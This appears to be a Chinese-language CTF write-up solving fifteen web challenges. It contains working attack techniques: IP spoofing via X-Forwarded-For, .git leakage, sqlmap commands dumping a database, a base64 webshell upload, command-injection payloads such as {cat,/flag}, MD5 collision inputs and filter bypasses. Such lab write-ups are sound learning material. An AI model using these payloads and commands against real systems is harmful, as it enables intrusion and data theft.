0X01,本地管理员
打开题目链接,是一个登陆界面,尝试用bp抓包
直接登陆发现ip已被封禁,联想到题目是本地管理员,利用xff伪造ip
伪造IP地址后,发现页面最后有一个base64加密
解密后,经过尝试发现是密码
盲猜用户名是admin,经过测试后,发现是正确的,但直接输入却是错误的,再次 通过伪造IP地址后得到了flag
0X02,source
打开题目链接,首先查看源代码,发现了一个flag,居然这么简单?
提交之后,发现这是一个假的flag,我就说嘛,怎么可能这么简单
直接上dirsearch扫描,扫描之后得到了许多.git文件
将这些文件利用(wget -r url/.git)命令下载下来
下载完成后,先查看内容
这些文件里都有flag,但只有一个文件内有真的flag
随机抽查一个文件进行访问,可能是巧合吧第一次进行尝试后得到了真的flag
0X03,cookies
打开题目链接,发现一长串东西,不知道有什么用,先用bp抓包看看请求
发现了一个文件名,用base64加密的文件名,解码查看内容
知道了文件名可以是经过base64加密的东西,那么将index.php也经过base64加密,查看一下里面的内容
得到了下面的内容
通过测试可以控制line来读取源码
最终得到的源码如下:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename']) ? $_GET['filename']:"");
$line=isset($_GET['line']) ? intval($_GET['line']) : 0;
if($file=='')
• header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
进行代码审计,要求我们去读取keys.php文件,为了能够读取keys.php文件,我们需要给cookie加margin的值,可以将margin=它本身
其中keys.php要先经过base64加密
得到了flag
0X04,成绩查询
点击题目链接,得到了一个sql注入的界面
利用sqlmap进行查询
sqlmap -u "http://114.67.175.224:18191/index.php/index.php" --data="id=1"
进行爆库
sqlmap -u "http://114.67.175.224:18191/index.php/index.php" --data="id=1" --tables
直接把库名和表名包爆出来了,开始查找flag
sqlmap -u "http://114.67.175.224:18106/index.php/index.php" --data="id=1" -D skctf -T fl4g --columns
得到了skctf_flag字段名,现在知道了数据库skctf和表fl4g和字段名skctf_flag,开始查询字段内容
sqlmap -u "http://114.67.175.224:11742/index.php/index.php" --data="id=1" -D skctf -T fl4g -C skctf_flag --dump
得到了flag
0X05,社工—初步搜集
打开网址得到了下面的界面
首先F12查看源码
发现/sz.zip,下载下来看看
得到了一个这东西
打开看看,随便填写一下内容,出来了个这玩意
题目提示这可以使一个misc题,那尝试一下用wireshark打开看看
找到了这两个被base64加密的东西,解码查看内容
一个是邮箱一个是密码,登陆查看内容
输入账户和密码发现密码不正确,但是确实是邮箱登录,网页版的登录不上,拿手机用QQ邮箱登录一下试试
也不知道是哪个人才把授权码给改了,评论区的好师傅直接将账号和密码给出来了,没办法直接用吧
拿御剑扫出来了登录界面
访问/admin/login.php,得到下面的界面
将得到的账号密码输入上去即可登录,在网站信息内的播放器key中得到了flag
0X06,秋名山车神
打开第一个界面
这里的cookie没有那个timeout:alive
接着刷新一下
这个界面里多出来了一个timeout:alive
知道这个规律就方便了
写一个简易脚本
import re
import requests
URL = "http://114.67.175.224:19063/"
s = requests.Session() #创建会话
res = s.get(URL) #获取cookie
res = s.post(URL, ) #使用获取到的cookie,得到页面2
DATA = {
"value": eval(re.search(r"Give me value post about (.*?)=\?", res.text, re.S).group(1)) #计算表达式
}
res = s.post(URL, data=DATA) #提交获取response
print(res.content.decode()) #获取flag
运行结束即可得到flag
0X07,速度要快
打开题目连接,得到下面的界面
F12查看响应头,看看有没有提示
发现一个base64加密的字符串,进行解码
发现解码后还有一串base64加密的东西,在解密一次
进行一次post传参:margin=762773
看样子只能写脚本,让脚本运行了
脚本:
import requests
import base64
url='http://114.67.175.224:19293/'
r = requests.session()
headers = r.get(url).headers
mid = base64.b64decode(headers['flag'])
mid = mid.decode()
flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值
data={'margin':flag}
print(r.post(url,data).text)
运行结束后即可得到flag
0X08,程序员本地网站
根据题目描述,请从本地访问
那么直接用bp抓包,再利用XFF伪造IP地址
伪造完之后直接得到了flag
0X09,需要管理员
打开题目连接得到下面的页面
利用御剑扫描一下,得到了robots.txt
访问robots.txt,得到这个页面
查看一下/resusl.php
要求我们对x进行get传参,然后x值是密码,推断是弱口令,用bp爆破后,得到password=admin
得到了flag
0X10,点login咋没反应
打开题目连接
F12查看源码后,在网络这一栏内看见了一个admin.cc,查看后得到了这个页面
有一组数字,放url后尝试一下
发现有反序列化的痕迹,而且是用cookie提交
对那一串代码进行序列化后得到了
最后用hackerbar传入参数
得到了flag
0X11,login1
点击题目链接,得到这个页面
首先尝试登陆admin
看样子得先注册账号了
用户名设置为admin,密码根据题目设置为Abc123
结果提示admin已存在,尝试在admin后面添加几个空格
尝试登陆,登陆时加上添加的几个空格
得到flag
0X12,xxx二手交易市场
打开题目链接,得到下面的页面
右上角有一个注册选项,先尝试一下
按照步骤注册,登陆后得到这个页面
在头像处可以上传头像,推测是一个文件上传漏洞,随机上传一个图片,并用bp抓包查看内容
将jpeg修改为php
上传成功,又发现后面有Base64,推测可能是base64编码,将一句话木马经过base64加密一下
将base64后面的所有内容替换成上面经过编码后的字符串
上传成功,用蚁剑连接
找到flag存在的目录
0X13,sql注入
打开题目链接,得到下面的页面
用bp爆破一下
当用户名为admin,密码为bugkuctf时,长度比其他的长,猜测是正确的内容,输入一下
得到了flag
0X14,都过滤了
打开题目链接,得到一个登陆界面
进行爆破,当用户名是admin时提示密码错误
当密码是bugkuctf,qq13145和1123581321时登陆成功
题目说是都过滤了,然后发现这里过滤了空格,可以用{}来代替空格作用
伪造payload:{ls,/}
找到了flag字段,用cat抓一下
payload:{cat,/flag}
得到了flag
0X15,easy web
打开题目后得到这个页面,首先查看源代码
在源码开头有一串base64加密的图片,使用base64转图片查看内容
去除无关内容后,得到了下面的内容
是右上角的图片,看来没有可下手的地方
看到url后有base64加密的东西,解密一下
解密后又是一串base64加密的东西,再次解密,经过多次解密后得到下面的内容
也是页面右上角的图片,既然可以这样尝试能否直接套出flag,将flag.php经过三次加密后传入到url内
得到这个页面,看样子是不行的,对flag进行了过滤
既然图片可以通过三次加密传入到url里,那么index.php也可以传入,按照前面的内容对index.php进行hex编码,再经过两次base64编码传入
传入到url后得到下面的页面
接着再次查看源代码,然后会看到之前base64加密的内容被替换了
然后使用base64解码查看内容
得到了源码,审计后发现
这个是主要的操作步骤,对大部分常用的字符进行了过滤,如果没有绕过会回显一个forbid,绕过之后会进行下一步的比较,要求我们传入两个Post参数a和b;其中a和b的参数转化为字符串后值不同,MD5加密后值相同,并且是强类型比较
查看大佬的wp后给出了下面的a,b值
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
然后用bp抓包,修改传输方式为post方式然后再传入a,b值
看样子是绕过了第一次的过滤,接下来是查看目录了,先传入一个ls
没有绕过第一次的过滤,想到反斜杠可以绕过过滤(反斜杠逃逸),接着输入l\s
绕过了过滤,并回显了所在目录下的文件,没有看到跟flag相关的文件,接着查看上一级目录
因为对空格有过滤,所以用%20来代替
回显了上一级目录,并发现了flag,由于cat,tac被过滤,利用其他字符来代替,又发现more,less也被过滤了,再另寻其他字符
发现sort可以代替他们